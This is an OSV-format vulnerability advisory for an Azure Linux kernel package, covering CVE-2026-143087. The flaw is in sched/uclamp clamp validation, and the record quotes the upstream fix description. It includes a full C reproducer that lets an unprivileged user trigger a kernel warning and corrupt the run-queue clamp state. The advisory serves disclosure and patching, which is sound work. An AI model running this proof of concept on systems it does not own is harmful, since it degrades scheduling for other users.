{"id":"AZL-118079","summary":"CVE-2026-143087 affecting package kernel 6.6.161.1-1","details":"In the Linux kernel, the following vulnerability has been resolved:\n\nsched/uclamp: Reject clamp values above SCHED_CAPACITY_SCALE\n\nsched_setattr() accepts sched_util_min and sched_util_max values that do\nnot fit in uclamp_se::value. A single thread can do:\n\n  sched_setattr(max = 800)\t\treturns 0\n  sched_setattr(min = 0xfffffffe)\treturns 0\n  sched_getattr()\t\t\tmin=2046 max=800\n\nwhich leaves the minimum above both SCHED_CAPACITY_SCALE and the task's own\nmaximum.\n\nThe range check in uclamp_validate() relies on the + 1 wrapping -1, the\nreset value, to 0:\n\n\tif (util_min + 1 \u003e SCHED_CAPACITY_SCALE + 1)\n\nThat only works for an unsigned type. util_min and util_max are int and\nSCHED_CAPACITY_SCALE is a long, so every negative value passes the check,\nand so does INT_MAX, whose + 1 wraps.\n\nuclamp_se_set() then truncates what got through to the 11 bits of\nuclamp_se::value, but computes the bucket from the full value. A minimum\nof 0xfffff800 is stored as 0 in the top bucket, where uclamp_rq_max_value()\ntakes it for the highest active clamp once a higher value leaves the rq.\nThe rq clamp falls below what the remaining tasks requested, and emptying\ntheir bucket trips the WARN_ON_ONCE() in uclamp_rq_dec_id(), without any\nprivilege:\n\n  WARNING: kernel/sched/core.c:1862 at dequeue_task+0x2a3/0x2b0, CPU#0: repro/126\n  Call Trace:\n   __schedule+0x933/0x1320\n   schedule+0x36/0x100\n   do_nanosleep+0x61/0x190\n   hrtimer_nanosleep+0xb5/0x1d0\n\nMake util_min and util_max unsigned int, so that -1 is the only value that\nwraps. The pair check below is unaffected, since it skips -1 explicitly and\nanything else is at most SCHED_CAPACITY_SCALE by then.\n\nRequests that were only accepted because of this now fail with -EINVAL.\n\nThe following program triggers the warning when run by any user outside\na child cpu cgroup. With this applied, its 0xfffff800 request fails with\n-EINVAL and the warning no longer appears:\n\n  #define _GNU_SOURCE\n  #include \u003cpthread.h\u003e\n  #include \u003csched.h\u003e\n  #include \u003cstdint.h\u003e\n  #include \u003csys/syscall.h\u003e\n  #include \u003ctime.h\u003e\n  #include \u003cunistd.h\u003e\n\n  struct attr {\n      uint32_t size, policy;\n      uint64_t flags;\n      int32_t nice;\n      uint32_t prio;\n      uint64_t runtime, deadline, period;\n      uint32_t util_min, util_max;\n  };\n\n  static volatile int stop;\n\n  static void set_min(uint32_t v)\n  {\n      /* KEEP_POLICY | KEEP_PARAMS | UTIL_CLAMP_MIN */\n      struct attr a = { .size = sizeof(a), .flags = 0x38, .util_min = v };\n\n      syscall(SYS_sched_setattr, 0, &a, 0);\n  }\n\n  static void burn(long us)\n  {\n      struct timespec s, n;\n\n      clock_gettime(CLOCK_MONOTONIC, &s);\n      do\n          clock_gettime(CLOCK_MONOTONIC, &n);\n      while ((n.tv_sec - s.tv_sec) * 1000000 +\n             (n.tv_nsec - s.tv_nsec) / 1000 \u003c us);\n  }\n\n  static void *bogus(void *arg)\n  {\n      set_min(0xfffff800);\n      while (!stop)\n          burn(1000);\n      return arg;\n  }\n\n  static void *worker(void *arg)\n  {\n      long v = (long)arg;\n\n      set_min(v);\n      while (!stop) {\n          burn(v == 800 ? 300 : 1500);\n          usleep(100);\n      }\n      return arg;\n  }\n\n  int main(void)\n  {\n      pthread_t t[3];\n      cpu_set_t c;\n      int i;\n\n      CPU_ZERO(&c);\n      CPU_SET(0, &c);\n      sched_setaffinity(0, sizeof(c), &c);\n      pthread_create(&t[0], NULL, bogus, NULL);\n      usleep(50000);\n      pthread_create(&t[1], NULL, worker, (void *)500L);\n      pthread_create(&t[2], NULL, worker, (void *)800L);\n      sleep(15);\n      stop = 1;\n      for (i = 0; i \u003c 3; i++)\n          pthread_join(t[i], NULL);\n      return 0;\n  }\n\nAn LLM helped find the warning and write this patch and its tests.","modified":"2026-12-04T14:18:39.833411671Z","published":"2026-12-03T10:17:39Z","upstream":["CVE-2026-143087"],"references":[{"type":"WEB","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-143087"}],"affected":[{"package":{"name":"kernel","ecosystem":"Azure Linux:3","purl":"pkg:rpm/azure-linux/kernel"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"6.6.161.1-1"}]}],"database_specific":{"source":"https://github.com/microsoft/AzureLinuxVulnerabilityData/blob/main/osv/AZL-118079.json"}}],"schema_version":"1.9.2"}